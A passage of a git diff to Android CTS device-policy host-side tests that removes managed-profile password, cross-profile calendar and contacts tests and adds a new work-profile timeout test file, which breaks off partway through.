- changeUserCredential("1234" /* newCredential */, null /* oldCredential */, mProfileUserId);
- verifyUnifiedPassword(false);
- }
-
- public void testUnlockWorkProfile_deviceWidePassword() throws Exception {
- if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
- return;
- }
- String password = "0000";
- try {
- // Add a device password after the work profile has been created.
- changeUserCredential(password, /* oldCredential= */ null, mPrimaryUserId);
- // Lock the profile with key eviction.
- lockProfile();
- // Turn on work profile, by unlocking the profile with the device password.
- verifyUserCredential(password, mPrimaryUserId);
-
- // Verify profile user is running unlocked by running a sanity test on the work profile.
- installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
- } finally {
- // Clean up
- changeUserCredential(/* newCredential= */ null, password, mPrimaryUserId);
- }
- }
-
- public void testRebootDevice_unifiedPassword() throws Exception {
- if (!mHasFeature || !mHasSecureLockScreen) {
- return;
- }
- // Waiting before rebooting prevents flakiness.
- waitForBroadcastIdle();
- String password = "0000";
- changeUserCredential(password, /* oldCredential= */ null, mPrimaryUserId);
- try {
- rebootAndWaitUntilReady();
- verifyUserCredential(password, mPrimaryUserId);
- installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
- } finally {
- changeUserCredential(/* newCredential= */ null, password, mPrimaryUserId);
- // Work-around for http://b/113866275 - password prompt being erroneously shown at the
- // end.
- pressPowerButton();
- }
- }
-
- public void testRebootDevice_separatePasswords() throws Exception {
- if (!mHasFeature || !mHasSecureLockScreen) {
- return;
- }
- // Waiting before rebooting prevents flakiness.
- waitForBroadcastIdle();
- String profilePassword = "profile";
- String primaryPassword = "primary";
- int managedProfileUserId = getFirstManagedProfileUserId();
- changeUserCredential(
- profilePassword, /* oldCredential= */ null, managedProfileUserId);
- changeUserCredential(primaryPassword, /* oldCredential= */ null, mPrimaryUserId);
- try {
- rebootAndWaitUntilReady();
- verifyUserCredential(profilePassword, managedProfileUserId);
- verifyUserCredential(primaryPassword, mPrimaryUserId);
- installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
- } finally {
- changeUserCredential(
- /* newCredential= */ null, profilePassword, managedProfileUserId);
- changeUserCredential(/* newCredential= */ null, primaryPassword, mPrimaryUserId);
- // Work-around for http://b/113866275 - password prompt being erroneously shown at the
- // end.
- pressPowerButton();
- }
- }
-
- public void testCrossProfileCalendarPackage() throws Exception {
- if (!mHasFeature) {
- return;
- }
- assertMetricsLogged(getDevice(), () -> {
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCrossProfileCalendarPackage", mProfileUserId);
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_CROSS_PROFILE_CALENDAR_PACKAGES_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .setStrings(MANAGED_PROFILE_PKG)
- .build());
- }
-
- public void testCrossProfileCalendar() throws Exception {
- if (!mHasFeature) {
- return;
- }
- runCrossProfileCalendarTestsWhenWhitelistedAndEnabled();
- runCrossProfileCalendarTestsWhenAllPackagesWhitelisted();
- runCrossProfileCalendarTestsWhenDisabled();
- runCrossProfileCalendarTestsWhenNotWhitelisted();
- }
-
- private void runCrossProfileCalendarTestsWhenWhitelistedAndEnabled() throws Exception {
- try {
- // Setup. Add the test package into cross-profile calendar whitelist, enable
- // cross-profile calendar in settings, and insert test data into calendar provider.
- // All setups should be done in managed profile.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testWhitelistManagedProfilePackage", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testAddTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
- // Testing.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testViewEventCrossProfile_intentReceivedWhenWhitelisted", mParentUserId);
- } finally {
- // Cleanup.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupWhitelist", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testDisableCrossProfileCalendarSettings", mProfileUserId);
- }
- }
-
- private void runCrossProfileCalendarTestsWhenAllPackagesWhitelisted() throws Exception {
- try {
- // Setup. Allow all packages to access cross-profile calendar APIs by setting
- // the whitelist to null, enable cross-profile calendar in settings,
- // and insert test data into calendar provider.
- // All setups should be done in managed profile.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testWhitelistAllPackages", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testAddTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
- // Testing.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testViewEventCrossProfile_intentReceivedWhenWhitelisted", mParentUserId);
- } finally {
- // Cleanup.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupWhitelist", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testDisableCrossProfileCalendarSettings", mProfileUserId);
- }
- }
-
- private void runCrossProfileCalendarTestsWhenDisabled() throws Exception {
- try {
- // Setup. Add the test package into cross-profile calendar whitelist,
- // and insert test data into calendar provider. But disable cross-profile calendar
- // in settings. Thus cross-profile calendar Uris should not be accessible.
- // All setups should be done in managed profile.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testWhitelistManagedProfilePackage", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testAddTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testDisableCrossProfileCalendarSettings", mProfileUserId);
-
- // Testing.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
- } finally {
- // Cleanup.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupWhitelist", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
- }
- }
-
- private void runCrossProfileCalendarTestsWhenNotWhitelisted() throws Exception {
- try {
- // Setup. Enable cross-profile calendar in settings and insert test data into calendar
- // provider. But make sure that the test package is not whitelisted for cross-profile
- // calendar. Thus cross-profile calendar Uris should not be accessible.
- // All setups should be done in managed profile.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testAddTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
- // Testing.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testViewEventCrossProfile_intentFailedWhenNotWhitelisted", mParentUserId);
- } finally {
- // Cleanup.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testDisableCrossProfileCalendarSettings", mProfileUserId);
- }
- }
-
- public void testCreateSeparateChallengeChangedLogged() throws Exception {
- if (!mHasFeature || !mHasSecureLockScreen) {
- return;
- }
- assertMetricsLogged(getDevice(), () -> {
- changeUserCredential(
- "1234" /* newCredential */, null /* oldCredential */, mProfileUserId);
- }, new DevicePolicyEventWrapper.Builder(EventId.SEPARATE_PROFILE_CHALLENGE_CHANGED_VALUE)
- .setBoolean(true)
- .build());
- }
-
+ @Test
public void testSetProfileNameLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -1635,23 +602,6 @@
.build());
}
- private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
- final String testMethod =
- unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".IsUsingUnifiedPasswordTest",
- testMethod, mProfileUserId);
- }
-
- private void disableActivityForUser(String activityName, int userId)
- throws DeviceNotAvailableException {
- String command = "am start -W --user " + userId
- + " --es extra-package " + MANAGED_PROFILE_PKG
- + " --es extra-class-name " + MANAGED_PROFILE_PKG + "." + activityName
- + " " + MANAGED_PROFILE_PKG + "/.ComponentDisablingActivity ";
- CLog.d("Output for command " + command + ": "
- + getDevice().executeShellCommand(command));
- }
-
private void changeUserRestrictionOrFail(String key, boolean value, int userId)
throws DeviceNotAvailableException {
changeUserRestrictionOrFail(key, value, userId, MANAGED_PROFILE_PKG);
@@ -1662,25 +612,6 @@
return changeUserRestriction(key, value, userId, MANAGED_PROFILE_PKG);
}
- private void setIdleWhitelist(String packageName, boolean enabled)
- throws DeviceNotAvailableException {
- String command = "cmd deviceidle whitelist " + (enabled ? "+" : "-") + packageName;
- CLog.d("Output for command " + command + ": "
- + getDevice().executeShellCommand(command));
- }
-
- private String changeCrossProfileWidgetForUser(String packageName, String command, int userId)
- throws DeviceNotAvailableException {
- String adbCommand = "am start -W --user " + userId
- + " -c android.intent.category.DEFAULT "
- + " --es extra-command " + command
- + " --es extra-package-name " + packageName
- + " " + MANAGED_PROFILE_PKG + "/.SetPolicyActivity";
- String commandOutput = getDevice().executeShellCommand(adbCommand);
- CLog.d("Output for command " + adbCommand + ": " + commandOutput);
- return commandOutput;
- }
-
// status should be one of never, undefined, ask, always
private void changeVerificationStatus(int userId, String packageName, String status)
throws DeviceNotAvailableException {
@@ -1689,15 +620,6 @@
+ getDevice().executeShellCommand(command));
}
- protected void startWidgetHostService() throws Exception {
- String command = "am startservice --user " + mParentUserId
- + " -a " + WIDGET_PROVIDER_PKG + ".REGISTER_CALLBACK "
- + "--ei user-extra " + getUserSerialNumber(mProfileUserId)
- + " " + WIDGET_PROVIDER_PKG + "/.SimpleAppWidgetHostService";
- CLog.d("Output for command " + command + ": "
- + getDevice().executeShellCommand(command));
- }
-
private void assertAppLinkResult(String methodName) throws DeviceNotAvailableException {
runDeviceTestsAsUser(INTENT_SENDER_PKG, ".AppLinkTest", methodName,
mProfileUserId);
@@ -1706,290 +628,4 @@
private boolean shouldRunTelecomTest() throws DeviceNotAvailableException {
return hasDeviceFeature(FEATURE_TELEPHONY) && hasDeviceFeature(FEATURE_CONNECTION_SERVICE);
}
-
- private void runManagedContactsTest(Callable<Void> callable) throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- try {
- // Allow cross profile contacts search.
- // TODO test both on and off.
- getDevice().executeShellCommand(
- "settings put --user " + mProfileUserId
- + " secure managed_profile_contact_remote_search 1");
-
- // Add test account
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testAddTestAccount", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testAddTestAccount", mProfileUserId);
-
- // Install directory provider to both primary and managed profile
- installAppAsUser(DIRECTORY_PROVIDER_APK, USER_ALL);
- setDirectoryPrefix(PRIMARY_DIRECTORY_PREFIX, mParentUserId);
- setDirectoryPrefix(MANAGED_DIRECTORY_PREFIX, mProfileUserId);
-
- // Check enterprise directory API works
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testGetDirectoryListInPrimaryProfile", mParentUserId);
-
- // Insert Primary profile Contacts
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testPrimaryProfilePhoneAndEmailLookup_insertedAndfound", mParentUserId);
- // Insert Managed profile Contacts
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testManagedProfilePhoneAndEmailLookup_insertedAndfound", mProfileUserId);
- // Insert a primary contact with same phone & email as other
- // enterprise contacts
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testPrimaryProfileDuplicatedPhoneEmailContact_insertedAndfound",
- mParentUserId);
- // Insert a enterprise contact with same phone & email as other
- // primary contacts
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testManagedProfileDuplicatedPhoneEmailContact_insertedAndfound",
- mProfileUserId);
-
- callable.call();
-
- } finally {
- // Clean up in managed profile and primary profile
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testCurrentProfileContacts_removeContacts", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testCurrentProfileContacts_removeContacts", mParentUserId);
- getDevice().uninstallPackage(DIRECTORY_PROVIDER_PKG);
- }
- }
-
-
- /*
- * Container for running ContactsTest under multi-user environment
- */
- private static class ContactsTestSet {
-
- private ManagedProfileTest mManagedProfileTest;
- private String mManagedProfilePackage;
- private int mParentUserId;
- private int mProfileUserId;
-
- public ContactsTestSet(ManagedProfileTest managedProfileTest, String managedProfilePackage,
- int parentUserId, int profileUserId) {
- mManagedProfileTest = managedProfileTest;
- mManagedProfilePackage = managedProfilePackage;
- mParentUserId = parentUserId;
- mProfileUserId = profileUserId;
- }
-
- private void runDeviceTestsAsUser(String pkgName, String testClassName,
- String testMethodName, Integer userId) throws DeviceNotAvailableException {
- mManagedProfileTest.runDeviceTestsAsUser(pkgName, testClassName, testMethodName,
- userId);
- }
-
- // Enable / Disable
- public void setCallerIdEnabled(boolean enabled) throws DeviceNotAvailableException {
- if (enabled) {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testSetCrossProfileCallerIdDisabled_false", mProfileUserId);
- } else {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testSetCrossProfileCallerIdDisabled_true", mProfileUserId);
- }
- }
-
- // Enable / Disable cross profile contacts search
- public void setContactsSearchEnabled(boolean enabled) throws DeviceNotAvailableException {
- if (enabled) {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testSetCrossProfileContactsSearchDisabled_false", mProfileUserId);
- } else {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testSetCrossProfileContactsSearchDisabled_true", mProfileUserId);
- }
- }
-
- public void checkIfCanLookupEnterpriseContacts(boolean expected)
- throws DeviceNotAvailableException {
- // Primary user cannot use ordinary phone/email lookup api to access
- // managed contacts
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfilePhoneLookup_canNotAccessEnterpriseContact", mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEmailLookup_canNotAccessEnterpriseContact", mParentUserId);
- // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
- // primary contacts
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryContact",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryContact",
- mParentUserId);
- // When there exist contacts with the same phone/email in primary &
- // enterprise,
- // primary user can use ENTERPRISE_CONTENT_FILTER_URI to access the
- // primary contact.
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailLookupDuplicated_canAccessPrimaryContact",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneLookupDuplicated_canAccessPrimaryContact",
- mParentUserId);
-
- // Managed user cannot use ordinary phone/email lookup api to access
- // primary contacts
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfilePhoneLookup_canNotAccessPrimaryContact", mProfileUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEmailLookup_canNotAccessPrimaryContact", mProfileUserId);
- // Managed user can use ENTERPRISE_CONTENT_FILTER_URI to access
- // enterprise contacts
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
- mProfileUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
- mProfileUserId);
- // Managed user cannot use ENTERPRISE_CONTENT_FILTER_URI to access
- // primary contacts
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterprisePhoneLookup_canNotAccessPrimaryContact",
- mProfileUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterpriseEmailLookup_canNotAccessPrimaryContact",
- mProfileUserId);
- // When there exist contacts with the same phone/email in primary &
- // enterprise,
- // managed user can use ENTERPRISE_CONTENT_FILTER_URI to access the
- // enterprise contact.
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterpriseEmailLookupDuplicated_canAccessEnterpriseContact",
- mProfileUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterprisePhoneLookupDuplicated_canAccessEnterpriseContact",
- mProfileUserId);
-
- // Check if phone lookup can access primary directories
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryDirectories",
- mParentUserId);
-
- // Check if email lookup can access primary directories
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryDirectories",
- mParentUserId);
-
- if (expected) {
- // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
- // managed profile contacts
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
- mParentUserId);
-
- // Make sure SIP enterprise lookup works too.
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseSipLookup_canAccessEnterpriseContact",
- mParentUserId);
-
- // Check if phone lookup can access enterprise directories
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneLookup_canAccessManagedDirectories",
- mParentUserId);
-
- // Check if email lookup can access enterprise directories
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailLookup_canAccessManagedDirectories",
- mParentUserId);
- } else {
- // Primary user cannot use ENTERPRISE_CONTENT_FILTER_URI to
- // access managed contacts
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneLookup_canNotAccessEnterpriseContact",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
- mParentUserId);
-
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailLookup_canNotAccessManagedDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
- mParentUserId);
- }
- }
-
- public void checkIfCanFilterSelfContacts() throws DeviceNotAvailableException {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseCallableFilter_canAccessPrimaryDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterpriseCallableFilter_canAccessManagedDirectories",
- mProfileUserId);
-
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailFilter_canAccessPrimaryDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testEnterpriseProfileEnterpriseEmailFilter_canAccessManagedDirectories",
- mProfileUserId);
-
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseContactFilter_canAccessPrimaryDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterpriseContactFilter_canAccessManagedDirectories",
- mProfileUserId);
-
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneFilter_canAccessPrimaryDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testManagedProfileEnterprisePhoneFilter_canAccessManagedDirectories",
- mProfileUserId);
- }
-
- public void checkIfCanFilterEnterpriseContacts(boolean expected)
- throws DeviceNotAvailableException {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testFilterUriWhenDirectoryParamMissing", mParentUserId);
- if (expected) {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseCallableFilter_canAccessManagedDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailFilter_canAccessManagedDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseContactFilter_canAccessManagedDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneFilter_canAccessManagedDirectories",
- mParentUserId);
- } else {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseCallableFilter_canNotAccessManagedDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseEmailFilter_canNotAccessManagedDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseContactFilter_canNotAccessManagedDirectories",
- mParentUserId);
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterprisePhoneFilter_canNotAccessManagedDirectories",
- mParentUserId);
- }
- }
-
- public void checkIfNoEnterpriseDirectoryFound() throws DeviceNotAvailableException {
- runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
- "testPrimaryProfileEnterpriseDirectories_canNotAccessManagedDirectories",
- mParentUserId);
- }
- }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
new file mode 100644
index 0000000..5f6d957
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+public class ManagedProfileTimeoutTest extends BaseManagedProfileTest {
+ private static final String PROFILE_CREDENTIAL = "1234";
+ // This should be sufficiently larger than ProfileTimeoutTestHelper.TIMEOUT_MS
+ private static final int PROFILE_TIMEOUT_DELAY_MS = 40_000;
+
+ /** Profile should get locked if it is not in foreground no matter what. */
+ @FlakyTest
+ @Test
+ public void testWorkProfileTimeoutBackground() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ setUpWorkProfileTimeout();
+
+ startDummyActivity(mPrimaryUserId, true);
+ simulateUserInteraction(PROFILE_TIMEOUT_DELAY_MS);
+
+ verifyOnlyProfileLocked(true);
+ }
+
+ /** Profile should get locked if it is in foreground but with no user activity. */
+ @LargeTest
+ @Test
+ public void testWorkProfileTimeoutIdleActivity() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ setUpWorkProfileTimeout();
+
+ startDummyActivity(mProfileUserId, false);
+ Thread.sleep(PROFILE_TIMEOUT_DELAY_MS);
+
+ verifyOnlyProfileLocked(true);
+ }
+
+ /** User activity in profile should prevent it from locking. */
+ @FlakyTest
+ @Test
+ public void testWorkProfileTimeoutUserActivity() throws Exception {
+ if (!mHasFeature) {
